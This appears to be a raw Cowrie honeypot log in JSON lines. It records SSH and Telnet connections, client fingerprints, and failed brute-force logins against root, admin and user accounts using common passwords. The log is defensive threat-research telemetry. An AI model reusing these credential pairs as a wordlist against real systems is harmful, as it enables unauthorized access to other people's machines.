{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:50.734185Z","src_ip":"43.135.139.74","session":"a2c35affe864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:50.803243Z","src_ip":"43.135.139.74","session":"a2c35affe864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pwd@123456","message":"login attempt [root/pwd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:51.109352Z","src_ip":"43.135.139.74","session":"a2c35affe864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60384,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cd51145fb1b","protocol":"telnet","message":"New connection: 152.42.224.71:60384 (10.17.0.5:23) [session: 4cd51145fb1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:52.076397Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:52.188006Z","src_ip":"43.135.139.74","session":"a2c35affe864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":42224,"dst_ip":"10.17.0.5","dst_port":22,"session":"31b3e7c43f0d","protocol":"ssh","message":"New connection: 165.154.227.158:42224 (10.17.0.5:22) [session: 31b3e7c43f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:53.151489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:53.156104Z","src_ip":"165.154.227.158","session":"31b3e7c43f0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:53.370171Z","src_ip":"165.154.227.158","session":"31b3e7c43f0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":48410,"dst_ip":"10.17.0.5","dst_port":22,"session":"23f900adb496","protocol":"ssh","message":"New connection: 52.236.56.129:48410 (10.17.0.5:22) [session: 23f900adb496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:54.095363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:54.100055Z","src_ip":"52.236.56.129","session":"23f900adb496","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:54.167719Z","src_ip":"52.236.56.129","session":"23f900adb496","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"grant123","message":"login attempt [root/grant123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:54.253563Z","src_ip":"165.154.227.158","session":"31b3e7c43f0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y","message":"login attempt [root/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:54.467094Z","src_ip":"52.236.56.129","session":"23f900adb496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":53546,"dst_ip":"10.17.0.5","dst_port":22,"session":"117c7690a6e4","protocol":"ssh","message":"New connection: 193.228.128.84:53546 (10.17.0.5:22) [session: 117c7690a6e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:54.684491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:54.690315Z","src_ip":"193.228.128.84","session":"117c7690a6e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:54.798236Z","src_ip":"193.228.128.84","session":"117c7690a6e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:55.105897Z","src_ip":"193.228.128.84","session":"117c7690a6e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:55.468345Z","src_ip":"165.154.227.158","session":"31b3e7c43f0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:55.538627Z","src_ip":"52.236.56.129","session":"23f900adb496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:56.212276Z","src_ip":"193.228.128.84","session":"117c7690a6e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.48672580718994,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:00.469232Z","src_ip":"152.42.224.71","session":"2ce9d18b6bf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.643519639968872,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:02.985995Z","src_ip":"152.42.224.71","session":"3a3995176191","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.78.97.135","src_port":62164,"dst_ip":"159.203.135.109","dst_port":23,"session":"28bafb126373","protocol":"telnet","message":"New connection: 147.78.97.135:62164 (159.203.135.109:23) [session: 28bafb126373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:03.959421Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.78.97.135","src_port":27040,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fca4d73c573","protocol":"telnet","message":"New connection: 147.78.97.135:27040 (159.203.135.109:23) [session: 1fca4d73c573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:04.060656Z"}
{"eventid":"cowrie.session.closed","duration":120.00154304504395,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:04.560249Z","src_ip":"152.42.224.71","session":"0b0fc0c9be2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.27621579170227,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:05.863804Z","src_ip":"152.42.224.71","session":"86620d81c21b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.7019464969635,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:07.876829Z","src_ip":"152.42.224.71","session":"a68dc661bd6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":41872,"dst_ip":"10.17.0.5","dst_port":22,"session":"c502fb5d919d","protocol":"ssh","message":"New connection: 117.121.214.50:41872 (10.17.0.5:22) [session: c502fb5d919d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:18.294353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:18.299891Z","src_ip":"117.121.214.50","session":"c502fb5d919d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:18.551803Z","src_ip":"117.121.214.50","session":"c502fb5d919d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"training123","message":"login attempt [root/training123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:19.589645Z","src_ip":"117.121.214.50","session":"c502fb5d919d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:20.845791Z","src_ip":"117.121.214.50","session":"c502fb5d919d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":32599,"dst_ip":"159.203.135.109","dst_port":22,"session":"7482abcc1942","protocol":"ssh","message":"New connection: 2.57.121.112:32599 (159.203.135.109:22) [session: 7482abcc1942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:31.464262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:31.469476Z","src_ip":"2.57.121.112","session":"7482abcc1942","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:31.571068Z","src_ip":"2.57.121.112","session":"7482abcc1942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"albacore","message":"login attempt [admin/albacore] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:32.049273Z","src_ip":"2.57.121.112","session":"7482abcc1942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ahfywbz","message":"login attempt [admin/ahfywbz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:33.153776Z","src_ip":"2.57.121.112","session":"7482abcc1942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aguilar","message":"login attempt [admin/aguilar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:34.258194Z","src_ip":"2.57.121.112","session":"7482abcc1942","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49198,"dst_ip":"10.17.0.5","dst_port":23,"session":"a82ea78fa959","protocol":"telnet","message":"New connection: 152.42.224.71:49198 (10.17.0.5:23) [session: a82ea78fa959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:34.469599Z"}
{"eventid":"cowrie.session.closed","duration":30.917035818099976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:34.876343Z","src_ip":"147.78.97.135","session":"28bafb126373","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":11198,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d125992bf4a","protocol":"ssh","message":"New connection: 2.57.121.25:11198 (159.203.135.109:22) [session: 9d125992bf4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:35.078064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:35.084543Z","src_ip":"2.57.121.25","session":"9d125992bf4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.112645387649536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:35.173190Z","src_ip":"147.78.97.135","session":"1fca4d73c573","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:35.184421Z","src_ip":"2.57.121.25","session":"9d125992bf4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aggie1","message":"login attempt [admin/aggie1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:35.362386Z","src_ip":"2.57.121.112","session":"7482abcc1942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22041974","message":"login attempt [user/22041974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:35.654460Z","src_ip":"2.57.121.25","session":"9d125992bf4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aerial","message":"login attempt [admin/aerial] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:36.467483Z","src_ip":"2.57.121.112","session":"7482abcc1942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22031982","message":"login attempt [user/22031982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:36.757694Z","src_ip":"2.57.121.25","session":"9d125992bf4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:37.574617Z","src_ip":"2.57.121.112","session":"7482abcc1942","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.235.26.80","src_port":48560,"dst_ip":"10.17.0.5","dst_port":22,"session":"68ca8e4e4bcd","protocol":"ssh","message":"New connection: 167.235.26.80:48560 (10.17.0.5:22) [session: 68ca8e4e4bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:37.663259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:30:37.669662Z","src_ip":"167.235.26.80","session":"68ca8e4e4bcd","protocol":"ssh"}
